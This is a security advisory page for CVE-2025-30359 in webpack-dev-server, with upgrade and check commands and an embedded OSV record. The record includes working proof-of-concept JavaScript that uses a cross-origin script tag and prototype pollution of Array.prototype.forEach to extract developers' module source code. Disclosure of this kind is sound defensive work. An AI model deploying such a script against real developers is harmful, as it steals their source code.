CVE-2025-30359: Webpack dev server Remote Code Execution Vulnerability
MODERATECVE-2025-30359 is a MODERATE (CVSS 5.3) remote code execution vulnerability (CWE-749: Exposed Dangerous Method or Function) affecting Webpack dev server libraries in the npm ecosystem. The issue involves webpack-dev-server users' source code may be stolen when they access a malicious web site. Remediation is available by upgrading affected packages to version 5.2.1.
CVE-2025-30359 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N).
How to Fix CVE-2025-30359
To remediate this vulnerability, upgrade all affected Webpack dev server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install webpack-dev-server@5.2.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls webpack-dev-server
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-30359, inspect your project dependencies using npm:
npm ls webpack-dev-server
Analyze the terminal output to locate any version of Webpack dev server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.2.1), your application is affected.
Note: The npm ls webpack-dev-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-749: Exposed Dangerous Method or Function, where the product provides an applications programming interface (api) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted. In Webpack dev server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-30359 Affected Webpack dev server Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
webpack-dev-server
|
npm |
< 5.2.1
|
5.2.1
|
References
Frequently Asked Questions
What is CVE-2025-30359?
Which Webpack dev server versions are affected?
What version fixes CVE-2025-30359?
Is webpack-dev-server affected?
What is the CVSS score of CVE-2025-30359?
What CWE is associated with CVE-2025-30359?
How can I check npm dependencies for CVE-2025-30359?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4v9v-hfq4-rm2v",
"modified" : "2025-10-03T13:25:38Z",
"published" : "2025-06-04T21:09:13Z",
"aliases" : [ "CVE-2025-30359" ],
"summary" : "webpack-dev-server users' source code may be stolen when they access a malicious web site",
"details" : "### Summary\nSource code may be stolen when you access a malicious web site.\n\n### Details\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src=\"http://localhost:8080/main.js\">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.\nBy using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code.\n\n### PoC\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18426585/reproduction.zip) and extract it\n2. Run `npm i`\n3. Run `npx webpack-dev-server`\n4. Open `https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/`\n5. You can see the source code output in the document and the devtools console.\n\n\n\nThe script in the POC site is:\n```js\nlet moduleList\nconst onHandlerSet = (handler) => {\n console.log('h', handler)\n moduleList = handler.require.m\n}\n\nconst originalArrayForEach = Array.prototype.forEach\nArray.prototype.forEach = function forEach(callback, thisArg) {\n callback((handler) => {\n onHandlerSet(handler)\n })\n originalArrayForEach.call(this, callback, thisArg)\n Array.prototype.forEach = originalArrayForEach\n}\n\nconst script = document.createElement('script')\nscript.src = 'http://localhost:8080/main.js'\nscript.addEventListener('load', () => {\n console.log(moduleList)\n for (const key in moduleList) {\n const p = document.createElement('p')\n const title = document.createElement('strong')\n title.textContent = key\n const code = document.createElement('code')\n code.textContent = moduleList[key].toString()\n p.append(title, ':', document.createElement('br'), code)\n document.body.appendChild(p)\n }\n})\ndocument.head.appendChild(script)\n```\n\nThis script uses the function generated by [`renderRequire`](https://github.com/webpack/webpack/blob/3919c844eca394d73ca930e4fc5506fb86e2b094/lib/javascript/JavascriptModulesPlugin.js#L1383).\n```js\n // The require function\n function __webpack_require__(moduleId) {\n // Check if module is in cache\n var cachedModule = __webpack_module_cache__[moduleId];\n if (cachedModule !== undefined) {\n return cachedModule.exports;\n }\n // Create a new module (and put it into the cache)\n var module = __webpack_module_cache__[moduleId] = {\n // no module.id needed\n // no module.loaded needed\n exports: {}\n };\n // Execute the module function\n var execOptions = {\n id: moduleId,\n module: module,\n factory: __webpack_modules__[moduleId],\n require: __webpack_require__\n };\n __webpack_require__.i.forEach(function(handler) {\n handler(execOptions);\n });\n module = execOptions.module;\n execOptions.factory.call(module.exports, module, module.exports, execOptions.require);\n // Return the exports of the module\n return module.exports;\n }\n```\nEspecially, it uses the fact that `Array::forEach` is called for `__webpack_require__.i` and `execOptions` contains `__webpack_require__`.\nIt uses prototype pollution against `Array::forEach` to extract `__webpack_require__` reference.\n\n### Impact\nThis vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.\n\n<details>\n<summary>Old content</summary>\n\n### Summary\nSource code may be stolen when you use [`output.iife: false`](https://webpack.js.org/configuration/output/#outputiife) and access a malicious web site.\n\n### Details\nWhen `output.iife: false` is set, some global variables for the webpack runtime are declared on the `window` object (e.g. `__webpack_modules__`).\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src=\"http://localhost:8080/main.js\">` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the `window` object.\nBy using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code.\n\nI pointed out `output.iife: false`, but if there are other options that makes the webpack runtime variables to be declared on the `window` object, the same will apply for those cases.\n\n### PoC\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18409777/reproduction.zip) and extract it\n2. Run `npm i`\n3. Run `npx webpack-dev-server`\n4. Open `https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/`\n5. Open the devtools console.\n6. You can see the content of `src/index.js` and other scripts loaded.\n\n\n\nThe script in the POC site is:\n```js\nconst script = document.createElement('script')\nscript.src = 'http://localhost:8080/main.js'\nscript.addEventListener('load', () => {\n for (const module in window.__webpack_modules__) {\n console.log(`${module}:`, window.__webpack_modules__[module].toString())\n }\n})\ndocument.head.appendChild(script)\n```\n\n### Impact\nThis vulnerability can result in the source code to be stolen for users that has `output.iife: false` option set and uses a predictable port and output path for the entrypoint script.\n\n</details>",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "webpack-dev-server"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "5.2.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 5.2.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-4v9v-hfq4-rm2v"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-30359"
}, {
"type" : "WEB",
"url" : "https://github.com/webpack/webpack-dev-server/commit/5c9378bb01276357d7af208a0856ca2163db188e"
}, {
"type" : "WEB",
"url" : "https://github.com/webpack/webpack-dev-server/commit/d2575ad8dfed9207ed810b5ea0ccf465115a2239"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/webpack/webpack-dev-server"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-749" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2025-06-04T21:09:13Z",
"nvd_published_at" : "2025-06-03T18:15:25Z"
}
}